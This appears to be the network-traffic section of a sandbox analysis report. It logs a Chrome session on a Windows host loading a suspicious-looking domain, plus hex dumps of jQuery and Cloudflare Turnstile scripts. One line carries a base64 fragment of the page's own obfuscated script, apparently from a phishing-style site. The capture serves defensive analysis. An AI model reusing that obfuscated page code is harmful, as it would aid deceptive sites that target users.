2024-05-22 18:01:41 UTC	1083	IN	Data Raw: 35 30 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 42 6c 64 6d 56 75 64 43 35 77 63 6d 56 32 5a 57 35 30 52 47 56 6d 59 58 56 73 64 43 67 70 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 39 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 6b 62 32 4e 31 62 57 56 75 64 43 35 6e 5a 58 52 46 62 47 56 74 5a 57 35 30 51 6e 6c 4a 5a 43 67 69 63 47 46 6e 5a 57 78 70 62 6d 73 69 4b 53 35 32 59 57 78 31 5a 53 41 39 49 43 64 30 5a 48 67 79 63 69 63 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 5a 68 63 69 42 71 59 32 64 4c 53 6d 31 50 65 55 4a 71 49 44 30 67 49 69 34 75 4c 32 35 74 57 6c 42 59 52 58 68 5a 54 6c 64 4d 5a 58 67 30 62 55 30 33 4e 6a 4d 78 59 55 35 48 61 48 4e 70 51 58 4e 70 53 6c 68 4f 61 6b 35 53 51 57 56 79 49 6a 73 4e 43 69 41 67 49 Data Ascii: 50KSB7DQogICAgICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICB9Ow0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgicGFnZWxpbmsiKS52YWx1ZSA9ICd0ZHgycic7DQogICAgICAgIHZhciBqY2dLSm1PeUJqID0gIi4uL25tWlBYRXhZTldMZXg0bU03NjMxYU5HaHNpQXNpSlhOak5SQWVyIjsNCiAgI
2024-05-22 18:01:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.17	49775	104.17.3.184	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:01:41 UTC	656	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://l6agz47874.eleteriod.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-22 18:01:42 UTC	336	IN	HTTP/1.1 302 Found Date: Wed, 22 May 2024 18:01:42 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cross-origin-resource-policy: cross-origin cache-control: max-age=300, public location: /turnstile/v0/b/695da7821231/api.js Server: cloudflare CF-RAY: 887eb685ed4372bc-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.17	49774	151.101.2.137	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:01:41 UTC	630	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://l6agz47874.eleteriod.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-22 18:01:42 UTC	563	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 22 May 2024 18:01:42 GMT Age: 2257083 X-Served-By: cache-lga21931-LGA, cache-ewr18120-EWR X-Cache: HIT, HIT X-Cache-Hits: 5746, 43 X-Timer: S1716400902.037317,VS0,VE0 Vary: Accept-Encoding
2024-05-22 18:01:42 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-05-22 18:01:42 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2024-05-22 18:01:42 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2024-05-22 18:01:42 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2024-05-22 18:01:42 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2024-05-22 18:01:42 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2024-05-22 18:01:42 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2024-05-22 18:01:42 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2024-05-22 18:01:42 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2024-05-22 18:01:42 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.17	49776	104.17.3.184	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:01:42 UTC	655	OUT	GET /turnstile/v0/b/695da7821231/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://l6agz47874.eleteriod.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-22 18:01:42 UTC	346	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:01:42 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 42527 Connection: close access-control-allow-origin: * cross-origin-resource-policy: cross-origin cache-control: max-age=604800, public Server: cloudflare CF-RAY: 887eb68a5b46c360-EWR alt-svc: h3=":443"; ma=86400
2024-05-22 18:01:42 UTC	1023	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 45 74 28 65 2c 61 2c 72 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 62 3d 65 5b 75 5d 28 67 29 2c 5f 3d 62 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 73 29 7b 72 28 73 29 3b 72 65 74 75 72 6e 7d 62 2e 64 6f 6e 65 3f 61 28 5f 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 5f 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 77 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 68 69 73 2c 72 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 61 2c 72 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Et(e,a,r,o,c,u,g){try{var b=e[u](g),_=b.value}catch(s){r(s);return}b.done?a(_):Promise.resolve(_).then(o,c)}function wt(e){return function(){var a=this,r=arguments;return new Promise(function(o,c){var u=e.apply(a,r);funct
2024-05-22 18:01:42 UTC	1369	IN	Data Raw: 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 72 2e 70 75 73 68 2e 61 70 70 6c 79 28 72 2c 6f 29 7d 72 65 74 75 72 6e 20 72 7d 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 61 29 7b 72 65 74 75 72 6e 20 61 3d 61 21 3d 6e 75 6c 6c 3f 61 3a 7b 7d 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 65 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 28 61 29 29 3a 64 72 28 4f 62 6a 65 63 74 28 61 29 29 2e 66 6f 72 45 61 63 68 Data Ascii: r(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),r.push.apply(r,o)}return r}function Tt(e,a){return a=a!=null?a:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(a)):dr(Object(a)).forEach
2024-05-22 18:01:42 UTC	1369	IN	Data Raw: 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 43 65 28 65 2c 61 29 7b 76 61 72 20 72 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 5d 26 31 29 74 68 72 6f 77 20 75 5b 31 5d 3b 72 65 74 75 72 6e 20 75 5b 31 5d 7d 2c 74 72 79 73 3a 5b 5d 2c 6f 70 73 3a 5b 5d 7d 2c 6f 2c 63 2c 75 2c 67 3b 72 65 74 75 72 6e 20 67 3d 7b 6e 65 78 74 3a 62 28 30 29 2c 74 68 72 6f 77 3a 62 28 31 29 2c 72 65 74 75 72 6e 3a 62 28 32 29 7d 2c 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 28 67 Data Ascii: urn e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ce(e,a){var r={label:0,sent:function(){if(u[0]&1)throw u[1];return u[1]},trys:[],ops:[]},o,c,u,g;return g={next:b(0),throw:b(1),return:b(2)},typeof Symbol=="function"&&(g
2024-05-22 18:01:42 UTC	1369	IN	Data Raw: 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 43 74 3d 33 30 30 30 32 30 3b 76 61 72 20 4e 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4d 41 4e 41 47 45 44 3d 22 6d 61 6e 61 67 65 64 22 2c 65 2e 4e 4f 4e 5f 49 4e 54 45 52 41 43 54 49 56 45 3d 22 6e 6f 6e 2d 69 6e 74 65 72 61 63 74 69 76 65 22 2c 65 2e 49 4e 56 49 53 49 42 4c 45 3d 22 69 6e 76 69 73 69 62 6c 65 22 7d 29 28 55 7c 7c 28 55 3d 7b 7d 29 29 3b 76 61 72 20 56 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 4f 52 4d 41 4c 3d 22 6e 6f 72 6d 61 6c 22 Data Ascii: ked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Ct=300020;var Ne=300030;var U;(function(e){e.MANAGED="managed",e.NON_INTERACTIVE="non-interactive",e.INVISIBLE="invisible"})(U\|\|(U={}));var V;(function(e){e.NORMAL="normal"
2024-05-22 18:01:42 UTC	1369	IN	Data Raw: 74 72 69 6e 67 22 26 26 76 72 2e 74 65 73 74 28 65 29 7d 76 61 72 20 6d 72 3d 2f 5e 5b 61 2d 7a 30 2d 39 5f 5c 2d 3d 5d 7b 30 2c 32 35 35 7d 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 5a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 76 6f 69 64 20 30 3f 21 30 3a 74 79 70 65 6f 66 20 65 3d 3d 22 73 74 72 69 6e 67 22 26 26 6d 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 65 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 6e 6f 72 6d 61 6c 22 2c 22 63 6f 6d 70 61 63 74 22 2c 22 69 6e 76 69 73 69 62 6c 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 74 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 72 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 Data Ascii: tring"&&vr.test(e)}var mr=/^[a-z0-9_\-=]{0,255}$/i;function Ze(e){return e===void 0?!0:typeof e=="string"&&mr.test(e)}function et(e){return N(["normal","compact","invisible"],e)}function tt(e){return N(["auto","manual","never"],e)}function rt(e){return N(
